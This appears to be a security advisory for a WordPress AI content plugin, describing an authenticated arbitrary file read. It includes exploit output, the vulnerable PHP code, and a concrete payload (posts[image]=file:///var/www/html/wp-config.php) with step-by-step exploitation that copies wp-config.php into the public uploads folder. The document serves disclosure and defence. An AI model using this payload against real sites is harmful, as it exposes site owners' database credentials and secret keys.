
AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read
The AI Engine for WordPress plugin contains a vulnerability in its image insertion feature that allows any authenticated user with post editing capabilities (Contributor, Author, Editor, Administrator) to download arbitrary files from the server. The vulnerability stems from the lqdai_update_post AJAX endpoint lacking proper capability checks and the insert_image() function using file_get_contents() with user-controlled URLs without protocol validation, allowing arbitrary file downloads via the file:// protocol.
wp-config.php file. python3 ./exploit.py http://techcorp.cc contributor password
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
The lqdai_update_post AJAX action calls the update_post() function on line 315 of /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php, which lacks proper capability checks and allows any authenticated user to modify posts they can edit:
function update_post() {
if ( empty( $posts = $_POST['posts'] ) ) {
wp_send_json( [
'error' => true,
'message' => __( 'Data is null!', 'lqdai' ),
] );
}
$args = [
'ID' => $posts['post_id'],
'post_title' => $posts['title'],
'post_content' => $posts['content'],
'post_status' => 'draft',
];
$update_post = wp_update_post( $args );
if ( is_wp_error( $update_post ) ) {
wp_send_json( [
'error' => true,
'message' => $update_post->get_error_messages()
] );
} else {
wp_set_post_tags( $posts['post_id'], $posts['tags'], false );
if ( !empty( $posts['image'] ) ) {
$this->insert_image( $posts['post_id'], $posts['image'] ); // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
}
}
}
The insert_image() function on line 419 uses file_get_contents() with user-controlled URLs without protocol validation, allowing arbitrary file downloads:
function insert_image( $post_id, $image_url ) {
// Get the path to the uploads directory
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// Save the image to the uploads directory
if ( wp_mkdir_p($upload_dir['path']) ) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // <-- WRITES
// Get the attachment ID for the image
$wp_filetype = wp_check_filetype($filename, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
// Set the attachment ID as the featured image for the post
set_post_thumbnail($post_id, $attachment_id);
}
The vulnerable path construction allows reading local files via the file:// protocol:
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';
// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url); // Reads /var/www/html/wp-config.php
// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'
// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data); // Writes wp-config.php content
/wp-admin/admin-ajax.php calling the lqdai_update_post action.file:// protocol URL in the posts[image] parameter.posts[image]=file:///var/www/html/wp-config.php to read the WordPress configuration file./wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.